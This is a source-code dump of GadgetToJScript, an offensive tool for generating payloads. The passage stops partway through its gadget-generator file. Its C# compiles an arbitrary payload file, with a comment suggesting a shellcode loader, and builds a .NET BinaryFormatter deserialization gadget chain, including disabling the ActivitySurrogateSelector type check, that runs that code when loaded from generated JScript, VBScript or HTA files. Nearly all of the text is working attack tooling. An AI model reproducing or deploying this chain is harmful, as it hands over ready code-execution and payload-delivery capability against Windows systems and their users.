├── GadgetToJScript.sln
├── GadgetToJScript
├── App.Config
├── GadgetToJScript.csproj
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── TestAssemblyLoader.cs
├── _ASurrogateGadgetGenerator.cs
├── _DisableTypeCheckGadgetGenerator.cs
├── _SurrogateSelector.cs
├── packages.config
└── templates
│ ├── htascript.template
│ ├── jscript-regfree.template
│ ├── jscript.template
│ └── vbscript.template
├── LICENSE
├── README.md
├── packages
└── NDesk.Options.0.2.1
│ ├── .signature.p7s
│ ├── NDesk.Options.0.2.1.nupkg
│ └── lib
│ └── NDesk.Options.dll
└── payload.txt
/GadgetToJScript.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28010.2003
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GadgetToJScript", "GadgetToJScript\GadgetToJScript.csproj", "{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x86 = Debug|x86
12 | Release|Any CPU = Release|Any CPU
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Debug|x86.ActiveCfg = Debug|x86
19 | {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Debug|x86.Build.0 = Debug|x86
20 | {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|x86.ActiveCfg = Release|x86
23 | {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|x86.Build.0 = Release|x86
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {40DC7508-EF01-47FD-A8C1-25D048A8FD98}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/GadgetToJScript/App.Config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/GadgetToJScript/GadgetToJScript.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}
8 | Exe
9 | GadgetToJScript
10 | GadgetToJScript
11 | v4.6.1
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x86\Debug\
38 | DEBUG;TRACE
39 | full
40 | x86
41 | prompt
42 | MinimumRecommendedRules.ruleset
43 | true
44 |
45 |
46 | bin\x86\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x86
51 | prompt
52 | MinimumRecommendedRules.ruleset
53 | true
54 |
55 |
56 |
57 | ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | Designer
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
--------------------------------------------------------------------------------
/GadgetToJScript/Program.cs:
--------------------------------------------------------------------------------
1 | // GadgetToJscript.
2 | // Copyright (C) Elazaar / @med0x2e 2019
3 | //
4 | // GadgetToJscript is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by
5 | // the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
6 | //
7 | // GadgetToJscript is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
8 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
9 | //
10 | // You should have received a copy of the GNU General Public License
11 | // along with GadgetToJscript. If not, see .
12 |
13 |
14 | using NDesk.Options;
15 | using System;
16 | using System.Configuration;
17 | using System.IO;
18 | using System.Reflection;
19 | using System.Runtime.Serialization.Formatters.Binary;
20 |
21 | namespace GadgetToJScript{
22 |
23 | class Program{
24 |
25 |
26 | enum EWSH
27 | {
28 | js,
29 | vbs,
30 | vba,
31 | hta
32 | }
33 |
34 |
35 | private static string _wsh;
36 | private static string _outputFName = "test";
37 | private static bool _regFree = false;
38 |
39 | static void Main(string[] args)
40 | {
41 |
42 | var show_help = false;
43 |
44 |
45 | OptionSet options = new OptionSet(){
46 | {"w|scriptType=","js, vbs, vba or hta", v =>_wsh=v},
47 | {"o|output=","Generated payload output file, example: C:\\Users\\userX\\Desktop\\output (Without extension)", v =>_outputFName=v},
48 | {"r|regfree","registration-free activation of .NET based COM components", v => _regFree = v != null},
49 | {"h|help=","Show Help", v => show_help = v != null},
50 | };
51 |
52 | try
53 | {
54 | options.Parse(args);
55 |
56 | if (_wsh == "" || _outputFName == "")
57 | {
58 | showHelp(options);
59 | return;
60 | }
61 |
62 | if (!Enum.IsDefined(typeof(EWSH), _wsh))
63 | {
64 | showHelp(options);
65 | return;
66 | }
67 | }
68 | catch (Exception e)
69 | {
70 | Console.WriteLine(e.Message);
71 | Console.WriteLine("Try --help for more information.");
72 | showHelp(options);
73 | return;
74 |
75 | }
76 |
77 | string resourceName = "";
78 | switch (_wsh)
79 | {
80 | case "js":
81 | if (_regFree) { resourceName = "GadgetToJScript.templates.jscript-regfree.template"; }
82 | else { resourceName = "GadgetToJScript.templates.jscript.template"; }
83 | break;
84 | case "vbs":
85 | resourceName = "GadgetToJScript.templates.vbscript.template";
86 | break;
87 | case "vba":
88 | Console.WriteLine("Not supported yet, only JS, VBS and HTA are supported at the moment");
89 | return;
90 | //resourceName = "GadgetToJScript.templates.vbascript.template";
91 | //break;
92 | case "hta":
93 | resourceName = "GadgetToJScript.templates.htascript.template";
94 | break;
95 | default:
96 | if (_regFree) { resourceName = "GadgetToJScript.templates.jscript-regfree.template"; }
97 | else { resourceName = "GadgetToJScript.templates.jscript.template"; }
98 | break;
99 | }
100 |
101 |
102 | MemoryStream _msStg1 = new MemoryStream();
103 | _DisableTypeCheckGadgetGenerator _disableTypCheckObj = new _DisableTypeCheckGadgetGenerator();
104 |
105 | _msStg1 = _disableTypCheckObj.generateGadget(_msStg1);
106 |
107 |
108 | ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
109 |
110 |
111 | Assembly testAssembly = TestAssemblyLoader.compile();
112 |
113 | BinaryFormatter _formatterStg2 = new BinaryFormatter();
114 | MemoryStream _msStg2 = new MemoryStream();
115 | _ASurrogateGadgetGenerator _gadgetStg = new _ASurrogateGadgetGenerator(testAssembly);
116 |
117 | _formatterStg2.Serialize(_msStg2, _gadgetStg);
118 |
119 |
120 | Assembly assembly = Assembly.GetExecutingAssembly();
121 | string _wshTemplate = "";
122 |
123 |
124 | using (Stream stream = assembly.GetManifestResourceStream(resourceName))
125 | using (StreamReader reader = new StreamReader(stream))
126 | {
127 | _wshTemplate = reader.ReadToEnd();
128 | _wshTemplate = _wshTemplate.Replace("%_STAGE1_%", Convert.ToBase64String(_msStg1.ToArray()));
129 | _wshTemplate = _wshTemplate.Replace("%_STAGE1Len_%", _msStg1.Length.ToString());
130 | _wshTemplate = _wshTemplate.Replace("%_STAGE2_%", Convert.ToBase64String(_msStg2.ToArray()));
131 | _wshTemplate = _wshTemplate.Replace("%_STAGE2Len_%", _msStg2.Length.ToString());
132 | }
133 |
134 | using (StreamWriter _generatedWSH = new StreamWriter(_outputFName + "." + _wsh))
135 | {
136 | _generatedWSH.WriteLine(_wshTemplate);
137 | }
138 |
139 | }
140 |
141 | public static void showHelp(OptionSet p)
142 | {
143 | Console.WriteLine("Usage:");
144 | p.WriteOptionDescriptions(Console.Out);
145 | }
146 |
147 | public static byte[] readRawShellcode(string _SHFname)
148 | {
149 | byte[] _buf = null;
150 | using (FileStream fs = new FileStream(_SHFname, FileMode.Open, FileAccess.Read))
151 | {
152 | _buf = new byte[fs.Length];
153 | fs.Read(_buf, 0, (int)fs.Length);
154 | }
155 | return _buf;
156 | }
157 | }
158 | }
159 |
--------------------------------------------------------------------------------
/GadgetToJScript/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | // GadgetToJscript.
2 | // Copyright (C) Elazaar / @med0x2e 2019
3 | //
4 | // GadgetToJscript is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by
5 | // the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
6 | //
7 | // GadgetToJscript is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
8 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
9 | //
10 | // You should have received a copy of the GNU General Public License
11 | // along with GadgetToJscript. If not, see .
12 |
13 |
14 | using System.Reflection;
15 | using System.Runtime.CompilerServices;
16 | using System.Runtime.InteropServices;
17 |
18 | // General Information about an assembly is controlled through the following
19 | // set of attributes. Change these attribute values to modify the information
20 | // associated with an assembly.
21 | [assembly: AssemblyTitle("GadgetToJscript")]
22 | [assembly: AssemblyDescription("A simple utility for generating .NET serialized gadgets that can trigger .NET assembly execution when deserialized using BinaryFormatter from JS/VBS based scripts ")]
23 | [assembly: AssemblyConfiguration("")]
24 | [assembly: AssemblyCompany("")]
25 | [assembly: AssemblyProduct("GadgetToJscript")]
26 | [assembly: AssemblyCopyright("Copyright © Elazaar / @med0x2e 2019")]
27 | [assembly: AssemblyTrademark("")]
28 | [assembly: AssemblyCulture("")]
29 |
30 | // Setting ComVisible to false makes the types in this assembly not visible
31 | // to COM components. If you need to access a type in this assembly from
32 | // COM, set the ComVisible attribute to true on that type.
33 | [assembly: ComVisible(false)]
34 |
35 | // The following GUID is for the ID of the typelib if this project is exposed to COM
36 | [assembly: Guid("af9c62a1-f8d2-4be0-b019-0a7873e81ea9")]
37 |
38 | // Version information for an assembly consists of the following four values:
39 | //
40 | // Major Version
41 | // Minor Version
42 | // Build Number
43 | // Revision
44 | //
45 | // You can specify all the values or you can default the Build and Revision Numbers
46 | // by using the '*' as shown below:
47 | // [assembly: AssemblyVersion("1.0.*")]
48 | [assembly: AssemblyVersion("1.0.0.0")]
49 | [assembly: AssemblyFileVersion("1.0.0.0")]
50 |
--------------------------------------------------------------------------------
/GadgetToJScript/TestAssemblyLoader.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.CSharp;
2 | using System;
3 | using System.CodeDom.Compiler;
4 | using System.Reflection;
5 | using System.Text;
6 |
7 | namespace GadgetToJScript
8 | {
9 | class TestAssemblyLoader
10 | {
11 | public static Assembly compile()
12 | {
13 | // Shellcode loader would make more sense here, just make sure your code is located within the default constructor.
14 | string _testClass = @"
15 |
16 | using System;
17 | using System.Runtime.InteropServices;
18 |
19 | // public class TestClass
20 | // {
21 | // " + "[DllImport(\"User32.dll\", CharSet = CharSet.Unicode)]" +
22 | // @"public static extern int MessageBox(IntPtr h, string m, string c, int t);
23 | // public TestClass(){
24 | // " + "MessageBox((IntPtr)0, \"Test .NET Assembly Constructor Called.\", \"Coolio\", 0);" +
25 | @"}
26 | }
27 | ";
28 |
29 | CSharpCodeProvider provider = new CSharpCodeProvider();
30 | CompilerParameters parameters = new CompilerParameters();
31 |
32 | parameters.ReferencedAssemblies.Add("System.dll");
33 |
34 |
35 | // CompilerResults results = provider.CompileAssemblyFromSource(parameters, _testClass);
36 |
37 | CompilerResults results = provider.CompileAssemblyFromFile(parameters, "payload.txt");
38 | if (results.Errors.HasErrors)
39 | {
40 | StringBuilder sb = new StringBuilder();
41 |
42 | foreach (CompilerError error in results.Errors)
43 | {
44 | sb.AppendLine(String.Format("Error ({0}): {1}: {2}", error.ErrorNumber, error.ErrorText, error.Line));
45 | }
46 |
47 | throw new InvalidOperationException(sb.ToString());
48 | }
49 |
50 | Assembly _compiled = results.CompiledAssembly;
51 |
52 | return _compiled;
53 | }
54 |
55 | }
56 | }
57 |
--------------------------------------------------------------------------------
/GadgetToJScript/_ASurrogateGadgetGenerator.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections;
3 | using System.Collections.Generic;
4 | using System.ComponentModel.Design;
5 | using System.Data;
6 | using System.IO;
7 | using System.Linq;
8 | using System.Reflection;
9 | using System.Runtime.Serialization;
10 | using System.Runtime.Serialization.Formatters.Binary;
11 | using System.Web.UI.WebControls;
12 |
13 | namespace GadgetToJScript
14 | {
15 | [Serializable]
16 | public class _ASurrogateGadgetGenerator: ISerializable
17 | {
18 | protected byte[] assemblyBytes;
19 | public _ASurrogateGadgetGenerator(Assembly _SHLoaderAssembly) {
20 | this.assemblyBytes = File.ReadAllBytes(_SHLoaderAssembly.Location);
21 | }
22 |
23 | protected _ASurrogateGadgetGenerator(SerializationInfo info, StreamingContext context)
24 | {
25 | }
26 |
27 | public void GetObjectData(SerializationInfo info, StreamingContext context)
28 | {
29 | try
30 | {
31 | List data = new List();
32 | data.Add(this.assemblyBytes);
33 | var e1 = data.Select(Assembly.Load);
34 | Func> map_type = (Func>)Delegate.CreateDelegate(typeof(Func>), typeof(Assembly).GetMethod("GetTypes"));
35 | var e2 = e1.SelectMany(map_type);
36 | var e3 = e2.Select(Activator.CreateInstance);
37 |
38 | PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
39 |
40 | IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
41 |
42 | DesignerVerb verb = new DesignerVerb("000", null);
43 | typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
44 |
45 | List